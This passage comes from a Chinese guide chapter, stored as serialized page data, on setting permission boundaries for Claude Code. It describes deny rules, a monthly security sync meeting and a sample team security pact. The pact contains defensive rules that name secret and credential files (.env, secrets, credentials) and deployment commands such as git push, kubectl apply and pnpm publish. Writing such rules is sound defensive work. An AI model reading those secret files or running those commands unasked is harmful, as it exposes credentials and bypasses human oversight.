",[199,3862,3863],{},"src\u002Fauth\u002Freset-password.ts",[199,3865,3866],{},"src\u002Fauth\u002Foauth-callback.ts",[199,3868,3869],{},"src\u002Fadmin\u002Fusers.ts"," 等周边文件也可能触及密码逻辑。",[204,3872,3873],{},"翻译时建议工程师与 PM 一起做一次\"路径走读\"","——PM 描述用户场景，工程师同步指出场景涉及的所有代码路径，确保 deny 规则覆盖完整的\"风险面\"而非\"风险点\"。",[254,3876,3878],{"id":3877},"_63-跨角色协作合规审查与代码审查的协同","6.3 跨角色协作：合规审查与代码审查的协同",[195,3880,3881],{},"合规审查与代码审查不应分割。建议每月一次\"安全清单同步会\"：",[227,3883,3884,3887,3890,3893],{},[230,3885,3886],{},"PM 列出本月的新业务\u002F新风险",[230,3888,3889],{},"工程师列出本月的新 deny 规则与 Hooks 改动",[230,3891,3892],{},"双方对照\"业务需要保护的 vs 实际配置保护的\"",[230,3894,3895],{},"找出 gap，下个月补齐",[195,3897,3898,348],{},[204,3899,3900],{},"同步会的\"五个固定议题\"",[1756,3902,3903,3909,3918,3924,3930],{},[230,3904,3905,3908],{},[204,3906,3907],{},"新功能\u002F新接口的安全等级评估","——本月上线的功能里，哪些涉及敏感数据？哪些有人工二次确认机制？哪些有审计日志？",[230,3910,3911,1829,3914,3917],{},[204,3912,3913],{},"本月 AI 出错事件回顾",[199,3915,3916],{},".claude\u002Fincidents.md"," 里新增了哪些事件？根因是什么？是否需要更新 deny 规则？",[230,3919,3920,3923],{},[204,3921,3922],{},"deny 规则覆盖度核查","——业务清单上的\"敏感\"项是否都在 settings.json 里有对应保护？",[230,3925,3926,3929],{},[204,3927,3928],{},"法规变更追踪","——本月有没有新的合规要求（GDPR 解读更新、个保法实施细则、行业标准修订）？是否需要调整流程？",[230,3931,3932,3935],{},[204,3933,3934],{},"同步会本身的 review","——上次会议的 action item 完成了多少？拖延的原因是什么？",[195,3937,3938,3939,3942],{},"每月会议留下书面纪要，归档到 ",[199,3940,3941],{},".claude\u002Fsecurity-meetings\u002FYYYY-MM.md","。半年累积下来，这些会议纪要本身就是团队\"安全成熟度\"的最佳量化指标——通过翻阅历次纪要，新人能快速理解团队过去面对过哪些风险、做出过哪些决策、为什么形成现在这套规则。",[254,3944,3946],{"id":3945},"_64-团队级安全行为公约","6.4 团队级\"安全行为公约\"",[195,3948,3949],{},"把这一节的所有原则浓缩为一份团队公约，贴在 wiki 第一页：",[625,3951,3953],{"className":2306,"code":3952,"language":2308,"meta":630,"style":630},"## 团队 Claude Code 安全公约（v1.0）\n\n1. 生产相关项目永不开 `bypassPermissions`\n2. `.env` \u002F secrets \u002F credentials 文件 Claude 不读、不写、不引用\n3. prompt 中粘贴日志前必须脱敏\n4. git push \u002F kubectl apply \u002F pnpm publish 永远手动确认\n5. 数据库 migration Claude 只生成、不执行\n6. 新项目从 plan 模式起步，逐步建立信任\n7. 任何 AI 出错事件必须记入 .claude\u002Fincidents.md\n8. 每月一次安全清单同步会，全员参与\n\n签字：工程团队全员、产品团队全员\n日期：[填写]\n",[199,3954,3955,3962,3966,3981,3996,4004,4012,4020,4028,4036,4044,4048,4053],{"__ignoreMap":630},[634,3956,3957,3959],{"class":636,"line":637},[634,3958,2315],{"class":757},[634,3960,3961],{"class":647},"团队 Claude Code 安全公约（v1.0）\n",[634,3963,3964],{"class":636,"line":644},[634,3965,655],{"emptyLinePlaceholder":654},[634,3967,3968,3971,3974,3976,3978],{"class":636,"line":651},[634,3969,3970],{"class":757},"1.",[634,3972,3973],{"class":1259}," 生产相关项目永不开 ",[634,3975,2998],{"class":757},[634,3977,593],{"class":670},[634,3979,3980],{"class":757},"`\n",[634,3982,3983,3986,3989,3991,3993],{"class":636,"line":658},[634,3984,3985],{"class":757},"2.",[634,3987,3988],{"class":757}," `",[634,3990,1449],{"class":670},[634,3992,2998],{"class":757},[634,3994,3995],{"class":1259}," \u002F secrets \u002F credentials 文件 Claude 不读、不写、不引用\n",[634,3997,3998,4001],{"class":636,"line":664},[634,3999,4000],{"class":757},"3.",[634,4002,4003],{"class":1259}," prompt 中粘贴日志前必须脱敏\n",[634,4005,4006,4009],{"class":636,"line":677},[634,4007,4008],{"class":757},"4.",[634,4010,4011],{"class":1259}," git push \u002F kubectl apply \u002F pnpm publish 永远手动确认\n",[634,4013,4014,4017],{"class":636,"line":682},[634,4015,4016],{"class":757},"5.",[634,4018,4019],{"class":1259}," 数据库 migration Claude 只生成、不执行\n",[634,4021,4022,4025],{"class":636,"line":688},[634,4023,4024],{"class":757},"6.",[634,4026,4027],{"class":1259}," 新项目从 plan 模式起步，逐步建立信任\n",[634,4029,4030,4033],{"class":636,"line":698},[634,4031,4032],{"class":757},"7.",[634,4034,4035],{"class":1259}," 任何 AI 出错事件必须记入 .claude\u002Fincidents.md\n",[634,4037,4038,4041],{"class":636,"line":703},[634,4039,4040],{"class":757},"8.",[634,4042,4043],{"class":1259}," 每月一次安全清单同步会，全员参与\n",[634,4045,4046],{"class":636,"line":709},[634,4047,655],{"emptyLinePlaceholder":654},[634,4049,4050],{"class":636,"line":884},[634,4051,4052],{"class":1259},"签字：工程团队全员、产品团队全员\n",[634,4054,4055,4058,4061,4064],{"class":636,"line":896},[634,4056,4057],{"class":1259},"日期：",[634,4059,4060],{"class":757},"[",[634,4062,4063],{"class":670},"填写",[634,4065,4066],{"class":757},"]\n",[195,4068,4069,4070,4073],{},"公约不是装饰，而是",[204,4071,4072],{},"强制规则","。新人入职第一天读、每月会议引用、年度审查更新。这一份公约的存在，往往比一万行 settings.json 更能塑造团队的安全文化。",[195,4075,4076,348],{},[204,4077,4078],{},"公约维护的\"三大原则\"",[1756,4080,4081,4087,4093],{},[230,4082,4083,4086],{},[204,4084,4085],{},"不要过度膨胀","。8-12 条是公约的健康长度，超过 20 条意味着没人会真的读完。如果某条原则已经被工具自动化（例如 deny 列表），可以从公约中移除——公约只保留\"工具无法 100% 强制、需要团队自觉\"的部分。",[230,4088,4089,4092],{},[204,4090,4091],{},"每条公约都要有\"为什么\"","。每条原则后面挂一段 50-200 字的\"背景注释\"，解释这条规则的来源（来自哪次事故、哪条法规、哪种风险）。规则的\"知其所以然\"才能让规则在压力情境下被遵守。",[230,4094,4095,4098],{},[204,4096,4097],{},"每年一次\"公约 review\"","。技术栈变了、业务变了、风险也会变。一份去年还有效的公约，今年可能已经成为团队效率的负担。把每年一月作为公约 review 月，全员参与重新签字——这一仪式本身就是文化的更新。",[195,4100,4101,4104,4105,4108,4109,4112],{},[204,4102,4103],{},"安全文化的最终衡量","：一个团队的安全文化是否健康，不取决于 settings.json 多严密、Hooks 多复杂，而取决于一个简单的问题——",[204,4106,4107],{},"\"团队成员遇到不确定动作时，是默认前进还是默认询问？\"","。前者称为\"风险偏好型文化\"，后者称为\"风险规避型文化\"。AI 协作时代的工程团队应当",[204,4110,4111],{},"坚定地选择后者","——因为 AI 能放大团队的效率，也能放大团队的错误。当工具变得越来越强大时，\"默认询问\"的文化是把\"放大错误\"的尾部风险压在可接受范围内的最后一道防线。",[246,4114],{},[249,4116,4117],{"id":4117},"总结",[195,4119,4120,4121,4124,4125,207],{},"权限边界不是用来限制 AI 的，而是用来",[204,4122,4123],{},"保护人类","——保护工程师不在疲劳时做错决定、保护团队不被某次失误拖垮、保护用户不被未经审查的代码影响、保护组织不被一次外部攻击撕裂。本节给出的\"权限三层模型 + Claude Code 机制 + 五类高风险动作 + 信任曲线 + 反模式 + 团队公约\"组成了一套完整的防御体系，目标只有一个——",[204,4126,4127],{},"让\"AI 协作\"在解放生产力的同时，不让责任链断裂",[195,4129,4130,4133,4134,4137,4138,4141],{},[204,4131,4132],{},"最重要的一条心法","：当你犹豫\"这个动作是否可以让 Claude 自动执行\"时，",[204,4135,4136],{},"默认选择\"不行\"","。安全设计的代价是工程师每天多按几次\"批准\"按钮（成本：每次 2 秒）；安全设计失败的代价是某天某次的灾难性事故（成本：可能数小时到数月恢复时间 + 信任损失 + 可能的法律责任与商业赔付）。两者之间的赔率比悬殊到惊人，",[204,4139,4140],{},"永远站在保守的一侧不会错","。这条心法听起来朴素，但它是把\"防御纵深\"思想内化为肌肉记忆的最直接路径。任何一个能在压力情境下默认问一句\"我是不是该再次确认一下\"的工程师，都已经走在了团队安全文化的正确道路上，而这种朴素的谨慎会随着时间持续产生显著的复利效应。",[195,4143,4144],{},"下一节 7.4 将进入\"心法层\"的最后一节——Boris Cherny 的 9 条实战心法。这 9 条心法是 Anthropic Claude Code 团队在多个真实项目中沉淀出的精华，与本节的安全边界形成互补：本节告诉你\"不要做什么\"，下一节告诉你\"做对的事\"。",[195,4146,4147],{},"留给读者的两个习题：",[1756,4149,4150,4157],{},[230,4151,4152,4153,4156],{},"在你当前项目里写一份 ",[199,4154,4155],{},".claude\u002Fsettings.json"," 的 deny 列表，至少包含 10 条规则。每条规则配一行说明\"为什么禁止\"。",[230,4158,4159],{},"与团队对齐一份\"团队 Claude Code 安全公约\"，至少包含 5 条原则。让所有 PM 与工程师签字，贴在团队 wiki 第一页。",[195,4161,4162],{},"这两个习题做完，你会发现\"安全\"不再是抽象的合规要求，而是被结构化嵌入工作流的具体动作。",[195,4164,4165,4168,4169,4172],{},[204,4166,4167],{},"额外建议","：把这两份文档放在团队 onboarding 流程的\"必读\"清单里。新人入职第一天就读、第一周做小测验。这样做的目的不是考核，而是让新人在最容易接受规则的窗口期，把安全文化内化为本能反应。半年后这位新人变成 senior，他会自然而然地把这套思维方式传递给下一批新人——这是文化传承最稳定的路径。",[204,4170,4171],{},"安全文化从来不是\"靠制度强压\"，而是\"靠每一代工程师的言传身教\"","。Claude Code 的工具与文档可以加速这一传承过程，但不能替代它。",[249,4174,4175],{"id":4175},"延伸阅读",[227,4177,4178,4188,4196,4204,4212,4220,4228,4236,4244,4252,4260,4268],{},[230,4179,4180,4187],{},[4181,4182,4186],"a",{"href":4183,"rel":4184},"https:\u002F\u002Fdocs.anthropic.com\u002Fclaude\u002Fdocs\u002Fclaude-code",[4185],"nofollow","Anthropic Claude Code 官方文档"," — Permission Mode、Hooks、settings.json 全览",[230,4189,4190,4195],{},[4181,4191,4194],{"href":4192,"rel":4193},"https:\u002F\u002Fwww.anthropic.com\u002Fnews\u002Fanthropics-responsible-scaling-policy",[4185],"Anthropic: Responsible Scaling Policy"," — 负责任 AI 部署的官方框架",[230,4197,4198,4203],{},[4181,4199,4202],{"href":4200,"rel":4201},"https:\u002F\u002Fowasp.org\u002Fwww-project-top-ten\u002F",[4185],"OWASP Top 10"," — Web 安全经典威胁清单",[230,4205,4206,4211],{},[4181,4207,4210],{"href":4208,"rel":4209},"https:\u002F\u002Fowasp.org\u002Fwww-project-top-10-for-large-language-model-applications\u002F",[4185],"OWASP LLM Top 10"," — LLM 应用专属安全威胁清单",[230,4213,4214,4219],{},[4181,4215,4218],{"href":4216,"rel":4217},"https:\u002F\u002Fsre.google\u002Fsre-book\u002Fpractical-alerting\u002F",[4185],"Google SRE Book — Security"," — Google SRE 实践中的安全章节",[230,4221,4222,4227],{},[4181,4223,4226],{"href":4224,"rel":4225},"https:\u002F\u002F12factor.net\u002Fzh_cn\u002Fconfig",[4185],"The Twelve-Factor App — Config"," — 配置与密钥分离的经典原则",[230,4229,4230,4235],{},[4181,4231,4234],{"href":4232,"rel":4233},"https:\u002F\u002Fwww.w3.org\u002FTR\u002Ftrusted-types\u002F",[4185],"Trusted Types W3C 规范"," — 浏览器端的可信类型规范，避免 DOM 注入",[230,4237,4238,4243],{},[4181,4239,4242],{"href":4240,"rel":4241},"https:\u002F\u002Fsnyk.io\u002Fseries\u002Fopen-source-security\u002F",[4185],"Snyk: Supply Chain Security Best Practices"," — 供应链攻击防御实践",[230,4245,4246,4251],{},[4181,4247,4250],{"href":4248,"rel":4249},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Fcode-security\u002Fsupply-chain-security",[4185],"GitHub: Best practices for keeping your supply chain secure"," — GitHub 官方供应链安全指南",[230,4253,4254,4259],{},[4181,4255,4258],{"href":4256,"rel":4257},"https:\u002F\u002Fpypi.org\u002Fsecurity\u002F",[4185],"PyPI typo-squatting: Recent attack examples"," — 真实供应链攻击案例",[230,4261,4262,4267],{},[4181,4263,4266],{"href":4264,"rel":4265},"https:\u002F\u002Fcharity.wtf\u002F",[4185],"Charity Majors: Operational Maturity Levels"," — Honeycomb 创始人对运维成熟度的分层模型",[230,4269,4270,4275],{},[4181,4271,4274],{"href":4272,"rel":4273},"https:\u002F\u002Fwww.anthropic.com\u002Ftrust",[4185],"Anthropic Trust & Safety"," — Anthropic 信任与安全文档中心",[4277,4278,4279],"style",{},"html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sHepR, html code.shiki .sHepR{--shiki-light:#39ADB5;--shiki-light-font-weight:bold;--shiki-default:#89DDFF;--shiki-default-font-weight:bold;--shiki-dark:#89DDFF;--shiki-dark-font-weight:bold}html pre.shiki code .so75L, html code.shiki .so75L{--shiki-light:#E53935;--shiki-light-font-weight:bold;--shiki-default:#F07178;--shiki-default-font-weight:bold;--shiki-dark:#F07178;--shiki-dark-font-weight:bold}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}",{"title":630,"searchDepth":637,"depth":644,"links":4281},[4282,4288,4295,4302,4309,4317,4323,4324],{"id":251,"depth":644,"text":252,"children":4283},[4284,4285,4286,4287],{"id":256,"depth":651,"text":257},{"id":302,"depth":651,"text":303},{"id":336,"depth":651,"text":337},{"id":381,"depth":651,"text":382},{"id":535,"depth":644,"text":536,"children":4289},[4290,4291,4292,4293,4294],{"id":539,"depth":651,"text":540},{"id":741,"depth":651,"text":742},{"id":1135,"depth":651,"text":1136},{"id":1460,"depth":651,"text":1461},{"id":1496,"depth":651,"text":1497},{"id":1790,"depth":644,"text":1791,"children":4296},[4297,4298,4299,4300,4301],{"id":1794,"depth":651,"text":1795},{"id":1882,"depth":651,"text":1883},{"id":2034,"depth":651,"text":2035},{"id":2087,"depth":651,"text":2088},{"id":2343,"depth":651,"text":2344},{"id":2557,"depth":644,"text":2558,"children":4303},[4304,4305,4306,4307,4308],{"id":2561,"depth":651,"text":2562},{"id":2594,"depth":651,"text":2595},{"id":2676,"depth":651,"text":2677},{"id":2715,"depth":651,"text":2716},{"id":2851,"depth":651,"text":2852},{"id":2907,"depth":644,"text":2908,"children":4310},[4311,4312,4313,4315,4316],{"id":2911,"depth":651,"text":2912},{"id":3019,"depth":651,"text":3020},{"id":3133,"depth":651,"text":4314},"5.3 给 Claude bypassPermissions 后忘记关",{"id":3173,"depth":651,"text":3174},{"id":3493,"depth":651,"text":3494},{"id":3703,"depth":644,"text":3704,"children":4318},[4319,4320,4321,4322],{"id":3707,"depth":651,"text":3708},{"id":3826,"depth":651,"text":3827},{"id":3877,"depth":651,"text":3878},{"id":3945,"depth":651,"text":3946},{"id":4117,"depth":644,"text":4117},{"id":4175,"depth":644,"text":4175},"AI 执行、人类审查、人类决策","md",null,{"date":4329},"2026-04-26",{"title":164,"description":4325},"-PV8xb-Cq-OM2UWkKKOIT6loLOkT5vtGEnW9Fuyfdug",[4333,4335],{"title":160,"path":161,"stem":162,"description":4334,"children":-1},"避免窗口溢出的实战技巧",{"title":168,"path":169,"stem":170,"description":4336,"children":-1},"Boris Cherny 是 Anthropic Claude Code 团队的工程师，他在 Anthropic 官方博客发表的 \"Claude Code Best Practices\"（2025 年 4 月）成为 AI 协作领域被引用最广的实战指南之一。该文章与他后续的多次公开演讲、社区分享共同构成了\"Claude Code 工程心法\"的事实基础。本节将其浓缩为 9 条可立即落地的心法，并补充本人在多个团队推广 Claude Code 时积累的经验。",1777395311007]